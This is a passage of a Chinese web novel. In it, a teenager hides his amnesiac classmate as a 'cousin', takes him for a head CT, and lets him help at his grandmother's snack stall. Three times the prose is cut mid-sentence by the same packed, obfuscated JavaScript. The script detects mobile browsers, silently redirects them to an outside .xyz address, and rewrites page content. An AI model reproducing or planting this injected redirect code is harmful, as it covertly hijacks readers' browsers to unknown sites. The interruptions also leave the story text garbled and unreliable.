擦身时,他摸到浴巾有些湿——刚才秦一泽应该用了他的浴巾。严峻“啧”一声,嫌弃地拎过浴巾,用边缘擦干身体:……还是得给他买一套生活用品才行。 琢磨着明天去批发市场转一圈,他把牙刷和水杯放回镜柜,一撇眼,在角落发现了一把备用的牙刷。 “秦……严肃!下来刷牙!” 楼上没声音。 嘿,这个假小孩,还耍上小脾气了!严峻磨磨后槽牙:“我知道你没睡,快下来!” 一串脚步声不情不愿地沿着楼梯走到卫生间门口,秦一泽顶着一头乱发接过牙刷,面露犹豫:“这是什么牙刷?” 大拇指在牙刷柄上摁一摁,这家伙左看右看,很嫌弃似的:“怎么不会动?” 严峻眼皮一跳:“我这儿没有电动牙刷,只有普通的!你赶紧把牙刷了,刷完睡觉!” “哦……”挤上牙膏,秦一泽把牙刷塞进嘴里,左右挥舞。严峻的眼皮又是一跳,干脆握住他的手腕,手把手地教:“要上下刷,不是左右刷!” “哦……” “牙槽也要仔细刷!” “哦。” “还有舌头!” “哦……哕(yue)!” 像盯个孩子似的盯着他把牙刷干净,严峻打开镜柜的门,示意他把牙刷放进杯子里:“以后记清楚了,蓝色的牙刷是你的,黄色是我的。每天早起、睡前都要刷牙,知不知道?” 看着那两个牙刷歪着身体排排站,秦一泽莫名笑了笑:“嗯,知道了。” - 那天晚上,秦一泽做了个梦。 四周一片空白,只回荡着“哗啦啦”的雨声。自己不紧不慢地向前走着,突然被一股力量撞翻在地,黑伞脱手,飞了出去。 “严肃,”随即是哥哥的声音,“你怎么又下楼了?回去待着,别乱跑。” 额角传来灼热的触感,刮辣辣的,他忍不住摸一摸,咬唇忍耐。 “过来。”哥哥又说。他随手抬起自己的脸,手指轻轻拨开发根,在头皮上细细摸索:“这里痛吗?……这儿呢?” 虽然臭着脸,但动作却分外轻柔。自己赶忙抓住他的衣袖,摇摇头:“不疼了,摸一摸就不疼了。” 这时,耳边响起了“叮铃铃铃”的声音,把哥哥说的话都盖了过去。秦一泽努力想听清楚,那阵铃声却越来越大,把他从一片空白拉进了黑暗里。 睁开眼,四周是“吱吱”的夜虫声。 床铺轻轻一晃,身旁的人坐了起来,口中呢喃“操……困死了。”随即是木地板的吱嘎声,一路朝楼梯口响去。 不一会儿,丝丝亮光从木地板的缝隙透到阁楼上,隐约映出四周家具的轮廓。秦一泽的意识逐渐回到身体,瞬间坐了起来。 ……他“哒哒哒”追了过去。 “哥哥!”冲进厨房时,严峻刚把温水倒到不锈钢盆里,被他吓了一跳:“卧槽!你不睡觉,跑下来干嘛?” “我听见你起来了。”秦一泽困倦地打个呵欠,好奇地看他搅面,“你怎么戴着个帽子?你在做什么?” 严峻一个头两个大,根本没空搭理他。这家伙却得寸进尺,探头探脑地走进来,在他身旁伸长脖子:“这是面粉吗?” “你别碍事,上楼睡觉!”严峻额上冒出青筋。 被哥哥吼了,秦一泽的嘴角挂下去,不甘心地嘀咕:“我不碍事的,我可以帮忙……” “你能帮什么忙?不帮倒忙就谢天谢地了!” “我可以帮你揉面!”秦一泽往盆里一指,一副“这有什么难”的样子。 严峻刚把做牛肉馅饼的四斤面分出来,正额外加水。闻言被他气得发笑:“行行行,你去洗手,马上揉!我看你能揉成什么样。” 在做包子的过程中,揉面是最花力气的。家里以前有搅面机,后来被妈妈卖掉了。他不想自己做包子的事被发现,所以一直是用手揉。 这一年多揉下来,严峻练就了金刚铁手,一巴掌就能把人扇到飙泪。现在见秦一泽初生牛犊不怕虎,非要挑战揉面。他也不干活了,把面盆一推,抄着手在一旁看笑话。 ……果不其然,假小孩才揉一会儿就气喘吁吁,脸上沁出了汗。 严峻“哈”一声大笑,轻蔑地道:“我说你帮不上忙的吧?还是乖乖回去睡觉,等包子做好了,我帮你拿两个上去。” “不要。”秦一泽却像跟面团较上了劲,把嘴一抿,眉眼中透出狠色:“我能做好。” 他用力地揉着、搓着,一次次不知疲倦地折叠、捶按,执着不已。严峻把四斤面收拾好,凑上前一看,这小子脸上的汗几乎淌了下来,在下巴尖凝聚成摇摇欲坠的一滴。 ……怪犟的。 犹豫两秒,他上楼拿了盒牛奶,又去扭了条湿毛巾,板着脸把秦一泽的下巴扳过来,用力擦去他脸上的汗。 看着这张女生们魂牵梦萦的帅脸被自己搓得东倒西歪,严峻心里舒坦极了,忍不住恶劣地笑着,添了一份力用力搓揉。 搓完了,再把自己的鸭舌帽扣到他头上,牛奶送过去喂两口:“继续。揉好一点儿,待会我就要用了。” “好!”假小孩一口气喝掉半盒牛奶,精神抖擞,像得到肯定的士兵,更卖力地揉了起来。 看着他踌躇满志的样子,严峻一挑眉,找了条旧毛巾绑到头上:唔,干活倒是挺认真的。 - 有苦力帮忙,严峻今日明显轻松了些。等秦一泽气喘吁吁地揉好面,他检查一番,随即指挥人家把面团分成四份,依次擀成大片,再卷成长卷。 新手到底是不熟练,面片擀得奇形怪状的。好在能用,反正卷起来看不出形状,厚点儿或是薄点儿,他切剂子时控制好重量就行。 难得心情舒畅,严峻接过面卷有条不紊地切成剂子,再擀成中间厚、四边薄的圆片,放上肉馅儿,运指如飞。很快,一个外形标致的18褶大包子出现在了案台上。 秦一泽看得目不转睛:“这是怎么包的?” “你想学啊?”严峻哼笑一声,正想显摆,动作突然停顿两秒,面色变得生硬:“……算了吧,你帮我揉面就好,不然把你这个高材生教坏了。” 忙活到四点半,两百多个包子终于包好了。严峻将笼屉摞到一起,秦一泽依旧像个跟屁虫,一边揉胳膊一边满怀期待地望着:“可以蒸了吗?” “急什么,还要发酵一个钟。”脱掉围裙,又解下毛巾,严峻照例出门买菜。秦一泽依旧紧跟着,跃跃欲试:“哥哥,你去哪里,我跟你去。” “啧!”一回眸将他钉在原地,严峻沉下脸,啐道:“去什么去,老实看着家里!阿婆在睡觉呢,万一来个小偷,把包子都偷走怎么办?” 秦一泽怨念地退回屋里,小声嘀咕:“不是可以锁门嘛……” 严峻把眉毛一竖、眼睛一瞪:“嗯?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230588|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哦,那我看家吧。”假小孩鼓起嘴,不甘心地接受了这个安排。 - 那天早上,秦一泽吃了四个大包子。一口气吃完,感觉还有些饿,又啃了个牛肉馅饼。 严峻看呆了:比我吃得还多! “啧,这么拖下去不是办法啊,吃都能把我吃穷了……”睡回笼觉时,他侧躺在床上,愁眉苦脸地这样嘀咕。 秦一泽冷不丁从他身后靠上来,紧贴着背:“哥哥,你说什么?” “卧槽!”严峻吓得坐起身,捂住耳朵:“你别靠我这么近,热死了!” “哦。”秦一泽瞅着他通红的耳廓,莫名感觉……哥哥好像也不是那么凶?至少,不是他神态表现出来的那样,凶得不可接近。 于是,他试探着往前靠了一些:“哥哥,今天我可以下楼玩吗?” “不行。”严峻还是那样冷酷,背对他躺下,不容商量:“你要是无聊,下午我找个游戏机给你玩,但就是不能出门。” 这一次,秦一泽打量着他清瘦修长的后颈,没再讨价还价。 睡觉时,夏天的清晨变得无比悠长。两个高挑的大男生躺在一米二的小床上,姿态由原来的井水不犯河水,逐渐变得四仰八叉。 严峻其实喜欢仰睡,手脚恣意伸展,睡得天昏地暗。没过一个钟,他的腿就搭到了秦一泽大腿上,把人压得无法动弹。半晌,胳膊也甩过去,“啪”一声打到人家脖子,把人痛得直接醒了过来。 “哥哥……”埋怨地嘀咕一声,秦一泽看着他四仰八叉的姿态,想把人推开,但又不忍心:“算了,让他继续睡吧。” 小心翼翼地越过他爬下床,假小孩还是有些困,站在窗前长长地打了个呵欠。 向外望去,那群小孩又出现在街上了。此时正拿着一叠卡片似的东西,聚集在某家店门前的空地上,撅着屁股,热火朝天地拍来拍去。 ……他们在玩什么呀? 趴在玻璃上看得望眼欲穿,秦一泽眼巴巴的,好奇得困意全无。这时,他听见阿婆在楼下喊:“小峻,小峻呐——” 假小孩吓了一跳,扭头见严峻还在熟睡,便轻手轻脚地冲下楼:“阿婆,哥哥还在睡觉,你找他有什么事?” 阿婆坐在柜台前,胳膊被挠得一片通红,三角眼疑惑地瞅他:“你是……” 秦一泽:“我是小肃,你忘记啦?” “哦,小树呀!”阿婆恍然大悟,咧出漏风的牙齿,“蚊香没有了,你去隔壁杂货店帮我买点回来吧!” 去杂货店? 假小孩的眼睛隐秘地一亮,随即镇定下来,露出人畜无害的踌躇表情:“可是,哥哥不让我出门……” “不让你出门,难不成让我这个老婆子去跑腿呀?你不用听他的,去买吧!天塌下来有阿婆撑着。” 秦一泽要的就是这句话:“哎,好!阿婆,那我出去啦!” - 十秒钟后,正在杂货店柜台里看番剧的吴思嘉听到了一个陌生又悦耳的声音: “有人吗?我要买蚊香。” “哎,来啦——”按下暂停,她抬起头,一张帅气逼人的脸猝不及防地映入眼帘。 那么浓墨重彩的眉眼,那么直挺的鼻梁!脸型流畅又立体,少一分则阴柔,多一分则粗笨。嘴唇厚薄适中,饱满红润……小姑娘屏住呼吸,愣神了足足五六秒。 当打量到他高挑的身材时,吴思嘉这才注意到,他身上的衣服居然是严峻常穿的那件黄色带紫边的湖人T恤! 顿时更惊讶了,她按捺着雀跃,期待地问:“你……你是小峻哥的朋友吗?” “嗯?”秦一泽抬起头,露出了一个直白的得意表情:“不是朋友,我是他弟弟!” 8. 带你去做个检查 中午十一点半,严峻饱饱地睡了一个回笼觉,打着呵欠悠悠转醒。 楼下不知为何很是热闹,嘈杂之中有一个高亢的声音大笑着,那兴奋的劲头,仿佛在菜市场里看见了打折的新鲜牛肉。 “哎哟,你长得这么高,居然是小峻的弟弟呀?哎还笑呢,比小峻开朗多了~这脸、这眼睛,真是好看,简直帅到我心坎里!” 听见自己的名字,严峻倏地瞪大眼,猛然清醒。他一翻身扒到窗台上,见自家店门口聚了许多人,叽叽喳喳的,门庭若市。 ……卧槽! 狂奔下楼,他一转弯就看见秦一泽跟阿婆排排坐在柜台里,面前是兴味盎然的街坊们。假小孩也不怯,反而眯眼笑着,坦坦荡荡地接受他们的审视。 小辉的外婆看见他,立即笑着招呼:“哎哟,小峻起床啦?快快过来,给咱们介绍一下这个帅表弟,你阿婆什么都说不清!” 紧张得几乎同手同脚地走过去,严峻站到秦一泽身后,抬手掐住他的肩头,强作镇定:“是吗,阿婆跟你们说什么了?” 假小孩仰起头,向后靠到他腹肌上,一副无辜模样:“阿婆一直说我是她小时候的邻居,还说我叫小树——明明是小肃!” 严峻低头注视着他,核善眼神中透着秋后算账的咬牙切齿:“你什么时候跑下来的?” 秦一泽有恃无恐地笑出八颗牙齿:“阿婆说没有蚊香了,让我去买,我才下来的。” ……这个阴险狡诈的臭小子! 深呼吸两秒,严峻咬牙望向门口的街坊们,勉强扯出个笑:“这是我慧敏小姨的儿子,来这边过暑假的,他叫严肃。” “是吗?”那些人兴致勃勃地在这“两兄弟”之间来回打量着,企图找到他们相似的地方,“哎,你俩长得一点儿都不像耶!” “我像我妈,但他不像我小姨。” “哦~看来你姨夫很帅啊!” “呵呵,”严峻干笑,“是挺帅的。” 隔壁吴叔端着一碗盖浇面站在边上凑热闹,忽然间察觉不对,吸溜着面条问:“你是三年前改跟你妈妈姓严的,那你这个表弟……他怎么也姓严呢?” “他——”严峻语塞一瞬,“他跟我小姨姓。” “啊?”大家惊讶地张大嘴,讳莫如深地瞥一眼秦一泽,小声问:“你小姨也跟老公离婚了?” “那个,不是……”谎言编得越来越大,严峻不安地攥着拳头,只感觉冷汗都要下来了,“他们没离婚,是因为——” 微妙地停顿一下,他站在秦一泽后头,朝围观的街坊们悄悄地指了指脑袋,并配以遗憾的表情:“这儿……不太好,所以又要了个小的,大的跟谁姓就无所谓了。” “哦!”众人顿时恍然大悟,面露遗憾,“我说呢!刚才跟他说话的时候,总感觉怪怪的……原来是这样!” 秦一泽没看见严峻的小动作,只注意到叔叔阿姨们看待自己的眼神中突然间充满了遗憾和同情。他茫然地扭头望向严峻:“哥哥,怎么了?” 严峻和大家伙儿异口同声:“没,没怎么!” 街坊邻居的表情变得无比慈爱,一个个像看走失小孩儿似的看着他:“小树呀,这个暑假,你就在静河路好好玩,啊?这街上还有好几个小朋友呢,到时候叫他们带你一起玩,好不好?” 秦一泽莫名其妙地眨眨眼:“……哦,好。” 话音刚落,严峻便迫不及待地揪住他后襟,把人提了起来:“叔叔阿姨,我做饭去了,大家也回去吃饭吧!小肃,你过来帮我洗菜!” 拖着这个人高马大的假小孩一走进厨房,严峻就咬牙切齿地转过身,眯着眼把人逼到了冰箱门上:“严肃——你跟我说实话,刚才,阿婆真是叫你去买蚊香吗?” 他的脸靠得十分近,近到可以看清那双凤眼上每一根纤长的睫毛。秦一泽目不转睛打量着哥哥这张凶狠又酷帅的脸,忽然“嘻嘻”笑了起来,把额头顶过去:“阿婆是叫你来着,但你在睡觉嘛,我就只能下楼啦。” 赶忙后退一步,严峻不自在地撇开脸,气势瞬间消减:“……那你不会喊我起床吗?!” “你那么累,当然要多休息一下啊,起来干嘛?这种小事,我去做就好啦!”秦一泽依旧是笑。眉眼弯弯的那样子,看上去还真有点像没失忆的时候。 严峻看一眼,感觉不对劲,又看一眼。秦一泽脑袋一歪,桃花眼眨啊眨,又变回了天真无邪的模样。 “……就你鬼主意多。过来,帮我洗菜!”挫败地把人松开,严峻头昏脑胀地拿出一把小油菜丢给他,自己量米煮饭去了。 - 那天中午,严峻没睡着觉。 一开始他不让秦一泽下楼,是怕他的身份被大家质疑。再加上这个奇怪的精神状态,保不齐要被街坊们追根究底的。 但刚才稀里糊涂应付那么一通,好像大家对这个脑子不大灵光的“表弟”……接受良好?一个个都只顾着看脸,根本不在乎他到底是不是慧敏小姨的儿子。 不过也是,慧敏小姨嫁得远,又忙着谋生计,已经有好多年没回来了。她上次回来时,自己才十一岁,老妈都还没跟那个赌狗离婚呢。 身后,秦一泽已经睡着了,额头安安静静地抵住自己后肩。严峻突然想到一个可能:既然“表弟”这个假身份在街坊那儿过了明路,那我是不是可以让吴叔叔假扮监护人,带他去医院做检查呢? 越想越觉得可行。于是第二天早上九点多,严峻一反常态地从回笼觉中爬起来,拿出预留的十个牛肉馅饼,忐忑地去了隔壁。 今年刚初中毕业的吴思嘉小姑娘依旧是坐在柜台里看番剧,闻声抬起头,惊喜道;“小峻哥!” “思嘉,你爸爸呢?”严峻左右张望着问。 “他在楼上帮人修东西。”小姑娘扒在柜台边上,眼神活泛:“小峻哥,你那个表弟……脑子真的有问题啊?昨天他过来买蚊香,我见着挺好的呀。” “你跟他多说几句话就知道了。”严峻失笑,指指楼梯道:“我上楼去找你爸爸。” “好~” 爬到楼上,吴叔满手机油,正对着一个电机专心致志地折腾。严峻走过去打个招呼“吴叔”,又把牛肉馅饼放到一旁的桌上,才道:“叔,你下午忙不忙?有件事……想麻烦你跑一趟。” “跑一趟?什么事啊。” “就是……”严峻搬个凳子坐到他面前,一张酷脸难得局促:“我那个表弟,他的脑子是摔坏的,不是天生就这样。当年我小姨他们在外头打工,不在身边,耽误了治疗……现在小肃来这边玩儿,我们这医疗条件好一些,小姨就托我带他去拍个CT。” “哦,是这么一回事啊!”吴叔拿过湿毛巾擦手,“你是要我陪你们去吗?” “……对!”顿时松一口气,严峻生疏地扯扯唇,道:“我昨天去医院问了,他们要监护人陪着才让做检查。我就想,让吴叔你假扮舅舅,陪我们跑一趟。” “这个没问题!什么时候去啊?” “下午三点可以吗?” “可以!你过来叫我就行,我开车带你们去!” 想到吴叔那辆三轮车,严峻笑不出来了,心里满是一言难尽:“好,那我先谢谢叔了。” - 下午三点,严峻给秦一泽扣上鸭舌帽,两人坐着吴叔的三轮车来到了七公里之外的市人民医院。 本来他打算去市妇幼医院,但吴叔说市妇幼不如人民医院。既然要检查脑袋,那当然得去最好的医院才是:“这样才精准嘛,对不对?” 严峻无法反驳:“……那就去人民医院吧。” 秦一泽没有身份证,严峻就试着拿自己的身份证挂了号,指望能蒙混过关。 不料,医生一眼就发现了不对:“怎么相片对不上呢?” 严峻一颗心提到喉咙口,不由看向吴叔。吴叔露出一个老实巴交的笑:“出门时找不到身份证了,又着急做检查,就用了他表哥的身份证。” 医生无奈地看他们一眼:“下次不能这样了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230589|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!……孩子是有什么问题?” 严峻和吴叔齐齐松一口气:“哦,医生,他之前摔到了脑袋,人变得有些糊里糊涂的,我就带他来做个检查。” 秦一泽听得一拧眉,奇怪地望向他:“我没有糊里糊涂……” “你不是说头疼么?”严峻的手在后头掐着他的后颈,表情核善:“老老实实做个检查,不然我们不放心。” “有那么严重吗?”假小孩摸一摸自己额头上那个伤疤,不明所以。严峻狠狠瞪他一眼,坚持道:“大夫,帮忙开个检查吧。” ……于是,十五分钟后,三人来到了CT室门口。 直到这时,吴叔才注意到秦一泽刘海下边那个若隐若现的伤疤:“这是什么时候撞的?” “前几天。”等待的时候,秦一泽百无聊赖地靠在哥哥身上,搞得严峻怪不自在“他……他乱跑,从楼梯上摔了下来。醒来后就跟醉酒断片似的,把我吓得不轻。” 秦一泽惊讶地抬起头:“原来我是这样摔的啊?” 严峻心虚地撇开脸:“唔。” “都摔断片啦!”吴叔也吓一跳,“那是该好好做个检查。” 半个钟后,医生拿着单子来到门口:“严峻!” 秦一泽扭头道:“哥哥,叫你。” 严峻拧一把他的后腰——嘿,又瘦又硬,拧不起来!于是换成掐住他手臂:“闭嘴!老实跟医生进去,乖乖做检查!” 秦一泽一步三回头:“哥哥不陪我吗?” 严峻双手插兜,十分冷酷:“我在外面等你。” 屏蔽门缓缓关上,他看着门上“当心电离辐射”的标语,不禁开始紧张:希望没什么大问题……要是没法恢复,老子这辈子就要交待了。 吴叔见他不安地走来走去,忍不住笑了起来:“小峻,你跟你表弟,感情挺好的嘛!” “啊?”严峻哭笑不得,“还……还行吧。” 不多时,屏蔽门缓缓打开,秦一泽走了出来。医生将检查单交给吴叔,并叮嘱道:“片子在科室的大厅自助打印——不打印也可以,门诊医生的电脑上会有片子。” “好,谢谢医生。” 回到门诊楼打出胶片,严峻迫不及待地拎起来,对着光查看。只见上头整整齐齐排列着许多个大脑截面,一层一层扫过去,脑部褶皱清晰可见——他一点儿也看不懂。 回到门诊,医生拧着眉仔细查看胶片,突然问:“撞伤之后有呕吐吗,这几天有没有感觉头越来越痛?” “当天晚上吐了一次。”严峻说着,扭头问他:“头还有痛吗?” 秦一泽摸摸脑袋:“还有一点。” “有视力模糊的情况吗?” “模糊?”秦一泽茫然地眨眨眼,扭头望向墙上的标语:“那些小字看得不是很清楚……” 严峻深吸一口气:“那是因为你近视眼!” 秦一泽:“哦。” “嗯,那就没什么事。”医生平静地抬起眼,一边开药一边道:“有点儿脑震荡啊,伴随轻度水肿,不过不严重。回家好好休息,吃点儿药,一个月后再来做个检查就行。” 药单打出来,什么奥拉西坦胶囊,□□,中药补剂……又是好几百块。严峻如释重负的同时也不免感到一阵肉疼:“知道了,谢谢医生。” 三人拿着药单和胶片起身离去。医生注意到秦一泽紧拽着严峻衣服下摆的动作,不禁奇怪地笑了笑:“这两兄弟,感情还挺好。” 这时,一个打扮干练的卷发女医生走了进来,扭头望着严峻离去的方向:“小陈,那几个人是来检查什么的呀?” “王主任!”陈医生赶忙站起身,“他们是撞到头了,来拍脑部CT的——怎么了吗?” “没怎么,我就是见其中一个人,像是我女儿的同桌。”王主任说,“做检查的那个男生,叫什么名字?” “呃……叫严峻。”陈医生支吾道。 “哦,那他应该是陪朋友来的。”王主任笑笑,没再追问。 9. 哥哥是我的! 吃过晚饭之后,严峻回到楼上,从袋子里倒出下午在医院拿的药,比对着医嘱认真研究:“饭后服用,每日三次,一次三颗……” 秦一泽凑过来,靠到他肩膀上:“哥哥,那几袋黑糊糊的水是什么呀?” “中药补剂。”严峻拿起来瞅一瞅:“饭后服用,每日两次……喏,现在就喝吧!顺便把西药一起吃了。” 帮他撕开一个小口,又倒出几片西药一起递过去。秦一泽不疑有他,把药丢进嘴里,嘬着塑封袋用力喝了一大口,然后——不出所料的皱成了苦瓜脸。 “好臭啊!好苦啊!”假小孩崩溃了,十个脚趾头纠结地蜷曲扭动,整个人在床边缩成一团。 严峻被他逗得大笑,突然间感觉十分解气:“哈哈哈哈哈哈!中药就是这么苦的,你忍着吧!” 第一次见他这样的笑容,秦一泽看得怔了几秒,随即眼珠子一转,又喝两口,故技重施:“啊啊啊啊好苦啊,苦死我了!” 严峻果然又笑了一阵。 看得眼睛发亮,这假小孩凑到哥哥身旁,可怜地靠上他肩膀,开始讨价还价:“哥哥,这个药好苦啊,我可不可以不吃了?” “不行。”眨眼间,严峻又变回了平常的冷酷模样,耿耿于怀道:“你知道这些药花了我多少钱吗?……四百七十六块!你敢浪费一滴,以后就没有早饭吃了!” 秦一泽只得可怜巴巴地、磨磨蹭蹭地喝光了那袋中药。 - 晚上八点半,严峻照例下楼,把阿婆铁盒子里的钱全部整理好,收进衣柜的小抽屉里。秦一泽在床上看见,忍不住问:“哥哥,原来你每天都把阿婆的钱拿走呀?” 严峻头也不回:“嗯。” “存起来干嘛用,买菜吗?” “不关你事,玩你的游戏去!” 收好钱,严峻下楼洗个手,开始做第二天早上要用的馅料。正煎鸡蛋呢,门口秦一泽冒出个脑袋,眼巴巴地道:“哥哥,我饿了。” 严峻眼皮一跳:“怎么这么快又饿了,晚饭不是吃了挺多肉的么?” “当时饱了,可现在又饿了。”假小孩可怜地揉揉肚子,“这几天我都是饿着肚子睡觉的。” 哦,合着现在跟自己混熟了,所以敢提要求了是不是? 严峻嫌弃地瞪他一眼,板着脸道:“上楼等着去!待会儿给你烙两个牛肉饼。” “好嘞!”秦一泽立即喜笑颜开,“就知道哥哥最好啦!” ……最好?这个词听得严峻怪不自在的:可从来没有人这么形容过自己。 调好馅儿,他随便倒点儿面粉,用烫面法和了团面,涂上一层油,丢在盆里醒着。 等洗完澡出来,面也醒得差不多了。挖一点儿明天的牛肉馅包成四个面饼,压扁了放进电饼铛里,一锅烙熟,再用盘子装到楼上。那假小孩闻风而动,已经坐在床边两眼发光地等着了。 “真好吃!”每人两个饼,不到五分钟便一扫而空。秦一泽再次发表感想:“哥哥的手艺真好,我每天晚上都想吃!” 严峻:“……后半句话才是你的目的吧?” 秦一泽笑得童叟无欺:“没有呀,我说的每一句话都是发自内心的。” “……滚去刷牙!”一脚踹过去,这人却灵活得很,闪身躲开,依旧是嘻嘻地冲自己笑:“哥哥,我忘了跟你说一件事。” 严峻眼皮一跳,两道挑眉慢慢倒竖:“什么?” “就是,昨天我帮阿婆去买蚊香,没有给钱。”秦一泽纯洁又无辜地看着他。 “——你没问阿婆要钱啊?!” “忘了。”假小孩无辜地撇嘴,“反正你去付钱也是一样的嘛。” ……啧,这个装傻充愣的笑面虎! 严峻手痒痒的,直想给他头上来一拳!可念着这家伙脑袋上有伤,他咬牙权衡半晌,最后只是伸出手,在秦一泽脸上不轻不重的、短促地扇了一巴掌。 结果,这假小孩笑得更开心了。 - 第二天中午,一家人吃完午饭后,严峻正盯着秦一泽吃药呢,放在一旁的手机突然响了起来。 电话是体育张老师打来的。严峻一看来电显示就感觉不妙,接起来听,果然是夏训的事情:“下午四点来学校训练,别放我鸽子啊!” 严峻看看外头炽热的烈日,忍不住抱怨:“正哥,这么热的天,你干脆把时间定到晚上……” “晚上学校还得给你们开灯呢!电费你出啊?别啰嗦,准时过来!晒一晒有什么要紧?” 烦躁地挂掉电话,秦一泽刚好喝完中药,好奇地凑过来:“哥哥,你要出门啊?” “嗯,”严峻皱着眉心,脸色有些臭。他阴沉沉地望向秦一泽,威逼道:“我下午四点有事,晚上六点才回来——这期间你乖乖在家陪阿婆,不准乱跑,知道吗?” “哦,”假小孩已经适应了他这副故作凶狠的模样,淡定地点点头,“我会在家陪着阿婆的。” 想着现在左邻右舍都认识他了,静河路就一条直通通的街道,他也不至于跑丢。严峻瞪他一眼,这才收起威逼的表情,摸了一盒牛奶塞过去。 午觉之后,下午三点半,严峻便换上运动服,准备去学校。 秦一泽听见动静,迷迷糊糊地爬起来,正好看见他穿上一条短短的黑色速干运动裤。 朦胧之中,只见两条修长又精实的腿在床边晃动,白花花的惹眼。接着,严峻又拿出一条篮球短裤准备套上。弓腰时,速干短裤往上一缩,露出紧致饱满的大腿根。秦一泽愣愣地睁着眼,突然出声道:“哥哥,你的裤子好短呀。” 严峻像受惊的小鹿般跳转过身,狠狠瞪他一眼:“要你说啊?!”用力把篮球裤拉了上去。 他背着背包走了,楼下很快响起自行车的铃声。秦一泽立即爬下床,趴到窗台上。只见严峻清瘦的脊背微弓着,风一般消失在街口。 ……哥哥走了呢。 忍不住失落地撇撇嘴,秦一泽坐回床边,看着安静的阁楼,突然感觉有些心慌。 他火速下了楼,搬个椅子坐到阿婆边上,又把遮阳帘拉起一半,瞅着外头人来人往的街道。阿婆正听戏曲,闻声睁开眼:“小树,你怎么下来啦?” “我帮阿婆卖东西。”假小孩乖觉得很,一句话便逗得阿婆眉开眼笑:“哎,好好!你帮我卖东西,可别少收了钱哟!” “不会的。”秦一泽笑得眉眼弯弯,活脱脱一只帅气的招财猫。 - 这天下午,有他坐镇,零食小柜台的生意明显比平常好了些。 不管是阿姨还是大娘,又或者六七十岁的老奶奶,打从这个铺子前经过,都忍不住朝他望几眼。有人甚至因此撞到了电线杆上去。 偏偏这人还不吝啬笑容,随便跟一个人对上视线,他都笑眯眯地打招呼:“阿姨,买东西吗?” “哎!我……我买。”人家被他哄得晕陶陶地走过来,在柜台里心不在焉地打量两圈,随便一指:“要这个旺仔牛奶糖吧!” 秦一泽便拿出来问阿婆:“阿婆,这包糖多少钱?” 阿婆把眼睛睁开一条缝:“六块钱。” 他再笑眯眯地把数目报给人家:“六块钱!” 夕阳照在他俊美的脸上,跟电影里的演员似的。一个个行人被他迷惑得晕乎乎地走过来,又晕乎乎地拿着一两件东西离去。等五点多阿婆睡醒,柜台里的东西已经清空了一半。 “你卖了这么多呀!”阿婆高兴坏了,居然破天荒地从铁盒子里拿出一块钱,又掏出一根棒棒糖塞到他手里,“来,阿婆给你奖励!……哎哟,咱们小树真厉害,居然帮阿婆卖了这么多东西!” 秦一泽颇为得意,拆开包装纸,叼着棒棒糖问:“阿婆,一块钱可以买什么呀?” “一块钱啊,可以买火腿肠,可以买打火机……” 这时,秦一泽注意到街对面一群小孩儿走过来,其中一人手里拿着根绿色的冰棍儿,软悠悠直晃荡:“可以买那个吗?” 阿婆睁开眼睛勉强望一眼:“那个不行。那个在超市里卖三块钱,贵得很。” 秦一泽看看她,又看看那根冰棍,嘴里不禁默默咽一口唾沫:“咱们店里为什么没有冰棍卖?” “那不得买冰柜嘛!又花钱又浪费电。” 好吧!他眼珠子骨碌转,那我自己去买好了~ 瞥一眼又阖上眼帘的阿婆,假小孩想,我再拿两块钱,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230590|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他们超市在哪里,自己找过去!在哥哥回来之前把冰棍吃完,包装纸丢到对面的垃圾桶……神不知鬼不觉! 打算好一切,秦一泽便盯着铁盒子里那些钱,悄悄地伸出手。然而,在他的手指即将碰到纸币时,阿婆就像听见老鼠动静的猫似的,猛然睁开双眼,大蒲扇劈天盖地地打了下来。 “哪里来的小棺材,敢偷我的钱!胆大包天,不要命啦?看我不打你,打死你!” “嗷!嗷!阿婆,是我呀,我是小树呀!” 秦一泽被打得跳起来,棒棒糖都飞了,捂着脑袋疯狂逃窜。对面的小孩子看见,不禁捧腹大笑:“哈哈哈哈哈哈哈,你肯定偷拿阿婆的钱了!阿婆的钱谁也偷不走,连小峻哥都只能等晚上再拿!” 被这群小毛头笑了,失忆的假小孩居然也感觉到羞耻,委屈吧啦地躲到阁楼上,撅着嘴生闷气。 隔了一会儿,他看见其中一个小孩儿回不去家,居然转身朝这边走过来!还熟练地跟阿婆打招呼:“阿婆,我妈忘记给我留门了,我来你这儿坐会儿!” “小辉,你家的门又锁啦?”阿婆好像恢复了神智,声音笑吟吟的。 秦一泽狐疑地走下楼,就见那个小孩儿坐在自己的椅子上,正在啃一包红彤彤、香喷喷的东西。 假小孩顿时拧起眉,不高兴地走过去:“喂,你坐了我的椅子。” 